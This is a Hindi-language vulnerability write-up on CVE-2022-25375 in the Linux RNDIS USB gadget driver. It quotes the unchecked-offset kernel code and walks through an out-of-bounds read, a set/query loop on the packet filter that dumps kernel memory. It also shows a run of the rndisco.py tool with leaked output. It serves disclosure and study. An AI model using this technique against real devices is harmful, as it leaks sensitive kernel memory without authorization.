
CVE-2022-25375 - RNDIS USB गैजेट का डेमो एक्सप्लॉइट
RNDIS USB गैजेट का उपयोग पैकेट फ़िल्टर अपडेट तंत्र के माध्यम से कर्नेल मेमोरी स्पेस की सामग्री को डंप करने के लिए शोषण किया जा सकता है।
RNDIS_MSG_SET usb कंट्रोल ट्रांसफर अनुरोध हैंडलर - rndis_set_response, BufOffset + 8 से ऑफ़सेट किए गए बफर पॉइंटर को पास करते हुए gen_ndis_set_resp को कॉल करता है। BufOffset चर RNDIS संदेश से प्राप्त किया जाता है और बफर सीमाओं का सम्मान करने के लिए मान्य नहीं किया जाता। परिणामस्वरूप, rndis_set_msg_type के चार-बाइट InformationBufferOffset सदस्य को हेरफेर करके एक हमलावर वास्तविक बफर को 0xffffffff बाइट्स तक ऑफ़सेट कर सकता है।
rndis.c - rndis_msg_parser
case RNDIS_MSG_QUERY:
return rndis_query_response(params,
(rndis_query_msg_type *)buf);
case RNDIS_MSG_SET:
return rndis_set_response(params, (rndis_set_msg_type *)buf);
rndis.c - rndis_set_response
static int rndis_set_response(struct rndis_params *params,
rndis_set_msg_type *buf)
{
u32 BufLength, BufOffset;
rndis_set_cmplt_type *resp;
rndis_resp_t *r;
r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
if (!r)
return -ENOMEM;
resp = (rndis_set_cmplt_type *)r->buf;
BufLength = le32_to_cpu(buf->InformationBufferLength);
BufOffset = le32_to_cpu(buf->InformationBufferOffset);
#ifdef VERBOSE_DEBUG
pr_debug("%s: Length: %d\n", __func__, BufLength);
pr_debug("%s: Offset: %d\n", __func__, BufOffset);
pr_debug("%s: InfoBuffer: ", __func__);
for (i = 0; i < BufLength; i++) {
pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
}
pr_debug("\n");
#endif
resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
resp->MessageLength = cpu_to_le32(16);
resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
((u8 *)buf) + 8 + BufOffset, BufLength, r))
resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
else
resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);
params->resp_avail(params->v);
return 0;
}
इसके बाद, RNDIS_OID_GEN_CURRENT_PACKET_FILTER OID को संभालने के लिए जिम्मेदार कोड वर्तमान पैकेट फ़िल्टर को buf पॉइंटर द्वारा इंगित मान पर सेट करता है। ऑफ़सेट लागू होने के साथ, यह एक निर्दिष्ट पते पर दो बाइट्स प्राप्त करने और मान को पैकेट फ़िल्टर में संग्रहीत करने की अनुमति देता है।
rndis.c - gen_ndis_set_resp
switch (OID) {
case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:
/* these NDIS_PACKET_TYPE_* bitflags are shared with
* cdc_filter; it's not RNDIS-specific
* NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
* PROMISCUOUS, DIRECTED,
* MULTICAST, ALL_MULTICAST, BROADCAST
*/
*params->filter = (u16)get_unaligned_le32(buf);
pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
__func__, *params->filter);
अगला कदम RNDIS_OID_GEN_CURRENT_PACKET_FILTER OID के लिए RNDIS_MSG_QUERY के साथ USB_CDC_SEND_ENCAPSULATED_COMMAND और USB_CDC_GET_ENCAPSULATED_RESPONSE कंट्रोल ट्रांसफर अनुरोधों के संयोजन का उपयोग करके पैकेट फ़िल्टर मान प्राप्त करना है।
RNDIS अनुरोध में वृद्धि किए गए InformationBufferOffset के साथ पैकेट फ़िल्टर सेट/गेट को दोहराने से कर्नेल स्पेस मेमोरी के 0xffffffff बाइट्स तक एक बार में दो बाइट्स द्वारा निष्कर्षण की अनुमति मिलती है। बड़ी मात्रा में डेटा के लिए प्रक्रिया काफी धीमी है, लेकिन फिर भी प्रभावी है।
$ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
stp_proto_unregister
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
<30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
Linux उपकरण जो USB RNDIS गैजेट्स को उजागर करते हैं, उनका शोषण संवेदनशील जानकारी निकालने के लिए किया जा सकता है।